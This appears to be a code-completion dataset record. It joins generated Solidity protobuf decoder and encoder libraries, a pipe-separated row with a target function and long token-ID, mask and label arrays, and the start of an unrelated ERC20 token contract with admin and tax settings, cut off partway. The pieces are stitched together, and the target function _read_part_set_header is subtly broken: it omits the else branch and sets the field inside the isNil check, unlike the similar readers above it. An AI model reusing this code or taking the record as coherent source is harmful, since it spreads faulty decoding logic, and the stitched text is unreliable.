if (isNil(r)) {
counters[1] += 1;
} else {
r.typ = x;
if(counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_height(
uint256 p,
bytes memory bs,
Data memory r,
uint[7] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 x, uint256 sz) = ProtoBufRuntime._decode_sfixed64(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.height = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_round(
uint256 p,
bytes memory bs,
Data memory r,
uint[7] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 x, uint256 sz) = ProtoBufRuntime._decode_sfixed64(p, bs);
if (isNil(r)) {
counters[3] += 1;
} else {
r.round = x;
if (counters[3] > 0) counters[3] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_block_id(
uint256 p,
bytes memory bs,
Data memory r,
uint[7] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(CanonicalBlockID.Data memory x, uint256 sz) = _decode_CanonicalBlockID(p, bs);
if (isNil(r)) {
counters[4] += 1;
} else {
r.block_id = x;
if (counters[4] > 0) counters[4] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_timestamp(
uint256 p,
bytes memory bs,
Data memory r,
uint[7] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(Timestamp.Data memory x, uint256 sz) = _decode_Timestamp(p, bs);
if (isNil(r)) {
counters[5] += 1;
} else {
r.timestamp = x;
if (counters[5] > 0) counters[5] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_chain_id(
uint256 p,
bytes memory bs,
Data memory r,
uint[7] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(string memory x, uint256 sz) = ProtoBufRuntime._decode_string(p, bs);
if (isNil(r)) {
counters[6] += 1;
} else {
r.chain_id = x;
if (counters[6] > 0) counters[6] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_CanonicalBlockID(uint256 p, bytes memory bs)
internal
pure
returns (CanonicalBlockID.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(CanonicalBlockID.Data memory r, ) = CanonicalBlockID._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_Timestamp(uint256 p, bytes memory bs)
internal
pure
returns (Timestamp.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(Timestamp.Data memory r, ) = Timestamp._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (uint(r.typ) != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
int32 _enum_typ = TYPES_PROTO_GLOBAL_ENUMS.encode_SignedMsgType(r.typ);
pointer += ProtoBufRuntime._encode_enum(_enum_typ, pointer, bs);
}
if (r.height != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.Fixed64,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_sfixed64(r.height, pointer, bs);
}
if (r.round != 0) {
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.Fixed64,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_sfixed64(r.round, pointer, bs);
}
pointer += ProtoBufRuntime._encode_key(
4,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += CanonicalBlockID._encode_nested(r.block_id, pointer, bs);
pointer += ProtoBufRuntime._encode_key(
5,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += Timestamp._encode_nested(r.timestamp, pointer, bs);
if (bytes(r.chain_id).length != 0) {
pointer += ProtoBufRuntime._encode_key(
6,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_string(r.chain_id, pointer, bs);
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_enum(TYPES_PROTO_GLOBAL_ENUMS.encode_SignedMsgType(r.typ));
e += 1 + 8;
e += 1 + 8;
e += 1 + ProtoBufRuntime._sz_lendelim(CanonicalBlockID._estimate(r.block_id));
e += 1 + ProtoBufRuntime._sz_lendelim(Timestamp._estimate(r.timestamp));
e += 1 + ProtoBufRuntime._sz_lendelim(bytes(r.chain_id).length);
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (uint(r.typ) != 0) {
return false;
}
if (r.height != 0) {
return false;
}
if (r.round != 0) {
return false;
}
if (bytes(r.chain_id).length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.typ = input.typ;
output.height = input.height;
output.round = input.round;
CanonicalBlockID.store(input.block_id, output.block_id);
Timestamp.store(input.timestamp, output.timestamp);
output.chain_id = input.chain_id;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library CanonicalVote
library Height {
//struct definition
struct Data {
uint64 revision_number;
uint64 revision_height;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[3] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_revision_number(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_revision_height(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_revision_number(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.revision_number = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_revision_height(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.revision_height = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (r.revision_number != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_uint64(r.revision_number, pointer, bs);
}
if (r.revision_height != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_uint64(r.revision_height, pointer, bs);
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_uint64(r.revision_number);
e += 1 + ProtoBufRuntime._sz_uint64(r.revision_height);
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.revision_number != 0) {
return false;
}
if (r.revision_height != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.revision_number = input.revision_number;
output.revision_height = input.revision_height;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library Height
library TYPES_PROTO_GLOBAL_ENUMS {
//enum definition
// Solidity enum definitions
enum BlockIDFlag {
BLOCK_ID_FLAG_UNKNOWN,
BLOCK_ID_FLAG_ABSENT,
BLOCK_ID_FLAG_COMMIT,
BLOCK_ID_FLAG_NIL
}
// Solidity enum encoder
function encode_BlockIDFlag(BlockIDFlag x) internal pure returns (int32) {
if (x == BlockIDFlag.BLOCK_ID_FLAG_UNKNOWN) {
return 0;
}
if (x == BlockIDFlag.BLOCK_ID_FLAG_ABSENT) {
return 1;
}
if (x == BlockIDFlag.BLOCK_ID_FLAG_COMMIT) {
return 2;
}
if (x == BlockIDFlag.BLOCK_ID_FLAG_NIL) {
return 3;
}
revert();
}
// Solidity enum decoder
function decode_BlockIDFlag(int64 x) internal pure returns (BlockIDFlag) {
if (x == 0) {
return BlockIDFlag.BLOCK_ID_FLAG_UNKNOWN;
}
if (x == 1) {
return BlockIDFlag.BLOCK_ID_FLAG_ABSENT;
}
if (x == 2) {
return BlockIDFlag.BLOCK_ID_FLAG_COMMIT;
}
if (x == 3) {
return BlockIDFlag.BLOCK_ID_FLAG_NIL;
}
revert();
}
// Solidity enum definitions
enum SignedMsgType {
SIGNED_MSG_TYPE_UNKNOWN,
SIGNED_MSG_TYPE_PREVOTE,
SIGNED_MSG_TYPE_PRECOMMIT,
SIGNED_MSG_TYPE_PROPOSAL
}
// Solidity enum encoder
function encode_SignedMsgType(SignedMsgType x) internal pure returns (int32) {
if (x == SignedMsgType.SIGNED_MSG_TYPE_UNKNOWN) {
return 0;
}
if (x == SignedMsgType.SIGNED_MSG_TYPE_PREVOTE) {
return 1;
}
if (x == SignedMsgType.SIGNED_MSG_TYPE_PRECOMMIT) {
return 2;
}
if (x == SignedMsgType.SIGNED_MSG_TYPE_PROPOSAL) {
return 32;
}
revert();
}
// Solidity enum decoder
function decode_SignedMsgType(int64 x) internal pure returns (SignedMsgType) {
if (x == 0) {
return SignedMsgType.SIGNED_MSG_TYPE_UNKNOWN;
}
if (x == 1) {
return SignedMsgType.SIGNED_MSG_TYPE_PREVOTE;
}
if (x == 2) {
return SignedMsgType.SIGNED_MSG_TYPE_PRECOMMIT;
}
if (x == 32) {
return SignedMsgType.SIGNED_MSG_TYPE_PROPOSAL;
}
revert();
}
}
//library TYPES_PROTO_GLOBAL_ENUMS | * @dev The decoder for reading a field @param p The offset of bytes array to start decode @param bs The bytes array to be decoded @param r The in-memory struct @param counters The counters for repeated fields @return The number of bytes decoded/* if `r` is NULL, then only counting the number of fields./ | function _read_part_set_header(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
(PartSetHeader.Data memory x, uint256 sz) = _decode_PartSetHeader(p, bs);
if (isNil(r)) {
counters[2] += 1;
r.part_set_header = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
| 2,568,102 | [
1,
1986,
8320,
364,
6453,
279,
652,
225,
293,
1021,
1384,
434,
1731,
526,
358,
787,
2495,
225,
7081,
1021,
1731,
526,
358,
506,
6383,
225,
436,
1021,
316,
17,
7858,
1958,
225,
13199,
1021,
13199,
364,
12533,
1466,
327,
1021,
1300,
434,
1731,
6383,
19,
309,
1375,
86,
68,
353,
3206,
16,
1508,
1338,
22075,
326,
1300,
434,
1466,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
389,
896,
67,
2680,
67,
542,
67,
3374,
12,
203,
565,
2254,
5034,
293,
16,
203,
565,
1731,
3778,
7081,
16,
203,
565,
1910,
3778,
436,
16,
203,
565,
2254,
63,
23,
65,
3778,
13199,
203,
225,
262,
2713,
16618,
1135,
261,
11890,
13,
288,
203,
565,
261,
1988,
694,
1864,
18,
751,
3778,
619,
16,
2254,
5034,
11262,
13,
273,
389,
3922,
67,
1988,
694,
1864,
12,
84,
16,
7081,
1769,
203,
565,
309,
261,
291,
12616,
12,
86,
3719,
288,
203,
1377,
13199,
63,
22,
65,
1011,
404,
31,
203,
1377,
436,
18,
2680,
67,
542,
67,
3374,
273,
619,
31,
203,
1377,
309,
261,
23426,
63,
22,
65,
405,
374,
13,
13199,
63,
22,
65,
3947,
404,
31,
203,
565,
289,
203,
565,
327,
11262,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2021-02-27
*/
// File: node_modules\@openzeppelin\contracts\token\ERC20\IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin\contracts\token\ERC20\ERC20Detailed.sol
pragma solidity ^0.5.0;
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: node_modules\@openzeppelin\contracts\GSN\Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: node_modules\@openzeppelin\contracts\math\SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin\contracts\token\ERC20\ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
constructor () internal {
isAdmin[msg.sender] = true;
taxPercentage = 17; //1.7% tax
depositAddress = msg.sender;
}
// Custom event for another blockchain
event convertToken(uint256 amount, string username);
address public depositAddress;
//List of exchanges
mapping (address => bool) public isExchange;
mapping (address => bool) public isAdmin;
address taxCollector;
uint256 taxPercentage;
//timelock update of tax percentage
struct UpdateTaxPercentage {
uint256 newTaxPercentage;
uint256 timelock;
bool isExecuted;
}
UpdateTaxPercentage public taxUpdate;
modifier onlyAdmin() {
require(isAdmin[msg.sender], "Not admin");
_;
}
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
//1000 = 100%
